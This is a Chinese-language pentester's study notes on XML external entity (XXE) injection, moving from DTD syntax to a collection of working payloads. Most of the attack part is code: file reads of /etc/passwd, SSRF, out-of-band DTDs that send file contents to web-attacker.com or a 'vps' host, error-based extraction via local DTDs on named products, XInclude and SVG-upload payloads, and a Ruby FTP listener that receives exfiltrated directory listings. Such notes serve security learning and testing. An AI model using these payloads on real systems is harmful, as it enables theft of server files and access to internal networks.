xxe学习笔记
2021.03.09
le31ei
Pentest
 热度
℃
0x01 DTD基础知识 DTD
全称document type definition,对xml的格式进行规范。DTD可以声明于xml文档中,也可以作为一个外部引用。
内部DTD声明 :
基本语法:
1 <!DOCTYPE root-element [element-declarations]>
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?xml version="1.0"?> <!DOCTYPE note [ // 定义了note类型的文档,也就是根元素为note <!ELEMENT note (to ,from ,heading ,body )> // 定义了note有四个元素<!ELEMENT to (#PCDATA )> // 定义to元素的类型<!ELEMENT from (#PCDATA )> // 定义from元素的类型<!ELEMENT heading (#PCDATA )> //定义heading元素的类型<!ELEMENT body (#PCDATA )> //定义body元素的类型]> <note > <to > Tove</to > <from > Jani</from > <heading > Reminder</heading > <body > Don't forget me this weekend</body > </note >
外部DTD声明
基本语法:
1 <!DOCTYPE root-element SYSTEM "filename" >
示例:
1 2 3 4 5 6 7 8 <?xml version="1.0"?> <!DOCTYPE note SYSTEM "note.dtd" > <note > <to > Tove</to > <from > Jani</from > <heading > Reminder</heading > <body > Don't forget me this weekend!</body > </note >
note.dtd文件
1 2 3 4 5 <!ELEMENT note (to,from,heading,body)> <!ELEMENT to (#PCDATA)> <!ELEMENT from (#PCDATA)> <!ELEMENT heading (#PCDATA)> <!ELEMENT body (#PCDATA)>
PCDATA
被解析的字符数据,表示该元素的类型是字符串类型,但是特殊字符会被实体化编码,例如:&
、<
、>
会被替换为&
、<
、>
、。
CDATA
不会被解释器解析的文本,所有的标签会原封不动的展示出来。
DTD实体
内部实体:
1 2 3 4 5 6 <!ENTITY entity-name "entity-value"> <!ENTITY writer "Donald Duck."> <!ENTITY copyright "Copyright runoob.com"> //引用实体 <author>&writer;©right;</author>
外部实体:
1 2 3 4 5 6 <!ENTITY entity-name SYSTEM "URI/URL"> <!ENTITY writer SYSTEM "http://xxx.com/entities.dtd"> <!ENTITY copyright SYSTEM "http://xxx/entities.dtd"> //引用实体 <author>&writer;©right;</author>
通用实体与参数实体
通用实体指的是直接引用的实体,用&开头命名,参数实体指的是在DTD中定义的其他通用实体
1 2 3 4 5 6 7 <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE updateProfile [<!ENTITY file SYSTEM "file:///c:/windows/win.ini"> ]> <updateProfile> <firstname>Joe</firstname> <lastname>&file;</lastname> // 通用实体,直接使用&进行引用 ... </updateProfile>
1 2 3 <!ENTITY % an-element "<!ELEMENT mytag (subtag)>"> <!ENTITY % remote-dtd SYSTEM "http://xxx.com/remote.dtd"> %an-element; %remote-dtd; //参数实体,引用参数来定义通用实体
0x02 XXE利用方式 1. 读文件 一般有回显的情况下可以直接读取文件
1 2 3 4 5 <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd" > ]> <stockCheck > <productId > &xxe; </productId > </stockCheck >
2. ssrf 无回显的时候,可以通过错误的返回来进行ssrf攻击
1 2 3 <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://internal.vulnerable-website.com/" > ]>
各种语言支持的协议如下图:
3. oob 数据带外
外部加载的DTD文件,作用是让程序读取/etc/passwd然后发送到外部服务器,引号中的%需要编码成%
1 2 3 4 <!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'http://web-attacker.com/?x=%file;'>"> %eval; %exfiltrate;
将以上文件放到受控的服务器:http://web-attacker.com/malicious.dtd
然后对目标发送如下payload:
1 2 <!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
对于很多文件中存在换行符的情况,以上则无法进行处理。
针对php可以采用伪协议进行base64编码发送
1 2 3 4 <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd"> <!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'http://web-attacker.com/?x=%file;'>"> %eval; %exfiltrate;
如果碰到数据带不出来,但有报错的情况,可以使用如下payload,读取不存在的文件,通过报错来回显数据
1 2 3 4 <!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>"> %eval; %error;
如果防火墙对加载外部dtd有防护的话,则可以采用https://portswigger.net/web-security/xxe/blind 这里所写的办法
加载一个本地的dtd文件,然后覆盖文件内的节点,通过报错来直接回显数据
1 2 3 4 5 6 7 8 9 10 <!DOCTYPE foo [ <!ENTITY % local_dtd SYSTEM "file:///usr/local/app/schema.dtd"> <!ENTITY % custom_entity ' <!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>"> %eval; %error; '> %local_dtd; ]>
里面的custom_entity
实体需要包含在schema.dtd
中
针对不同的系统,可以有如下已经存在的dtd文件:
linux gnome桌面
1 2 3 <!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd"> <!ENTITY % ISOamsa 'Your DTD code'> %local_dtd;
windows
1 2 3 <!ENTITY % local_dtd SYSTEM "file:///C:\Windows\System32\wbem\xml\cim20.dtd"> <!ENTITY % SuperClass '>Your DTD code<!ENTITY test "test"'> %local_dtd;
Cisco WebEx
1 2 3 <!ENTITY % local_dtd SYSTEM "file:///usr/share/xml/scrollkeeper/dtds/scrollkeeper-omf.dtd"> <!ENTITY % url.attribute.set '>Your DTD code<!ENTITY test "test"'> %local_dtd;
Citrix XenMobile Server
1 2 3 <!ENTITY % local_dtd SYSTEM "jar:file:///opt/sas/sw/tomcat/shared/lib/jsp-api.jar!/javax/servlet/jsp/resources/jspxml.dtd"> <!ENTITY % Body '>Your DTD code<!ENTITY test "test"'> %local_dtd;
Custom Multi-Platform IBM WebSphere Application
1 2 3 4 5 6 7 8 9 10 11 <!ENTITY % local_dtd SYSTEM "./../../properties/schemas/j2ee/XMLSchema.dtd"> <!ENTITY % xs-datatypes 'Your DTD code'> <!ENTITY % simpleType "a"> <!ENTITY % restriction "b"> <!ENTITY % boolean "(c)"> <!ENTITY % URIref "CDATA"> <!ENTITY % XPathExpr "CDATA"> <!ENTITY % QName "NMTOKEN"> <!ENTITY % NCName "NMTOKEN"> <!ENTITY % nonNegativeInteger "NMTOKEN"> %local_dtd;
4. soap接口攻击 在前端获取到参数后,后端接口直接放入xml中,对后台的soap接口进行请求。这种情况需要挨着测试参数,添加如下payload
1 2 <foo xmlns:xi ="http://www.w3.org/2001/XInclude" > <xi:include parse ="text" href ="file:///etc/passwd" /> </foo >
5. svg上传 1 <?xml version="1.0" standalone="yes"?> <!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]> <svg width ="128px" height ="128px" xmlns ="http://www.w3.org/2000/svg" xmlns:xlink ="http://www.w3.org/1999/xlink" version ="1.1" > <text font-size ="16" x ="0" y ="16" > &xxe; </text > </svg >
6. 利用ftp协议列目录 使用ruby编写ftp服务端
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 require 'socket' server = TCPServer.new 3333 loop do Thread.start(server.accept) do |client| puts "New client connected" data = "" client.puts("220 xxe-ftp-server" ) loop { req = client.gets() puts "< " +req if req.include ? "USER" client.puts("331 password please - version check" ) else client.puts("230 more data please!" ) end } end end
然后在dtd文件中,使用ftp进行登录,在ftp密码字段插入目录,能够通过ftp换行输出所有目录
dtd文件
1 2 3 4 <!ENTITY % file SYSTEM "file:///"> <!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'ftp://test:%file;@vps:3333'>"> %eval; %exfiltrate;
在burp中加载攻击的dtd文件
1 2 3 <?xml version="1.0"?> <!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://vps/test.dtd" > %xxe;]>
7. jar协议 参考文档
XML external entity (XXE) injection
Finding and exploiting blind XXE vulnerabilities
一篇文章带你深入理解漏洞之 XXE 漏洞
绕过WAF保护的XXE
使用本地DTD文件进行XXE攻击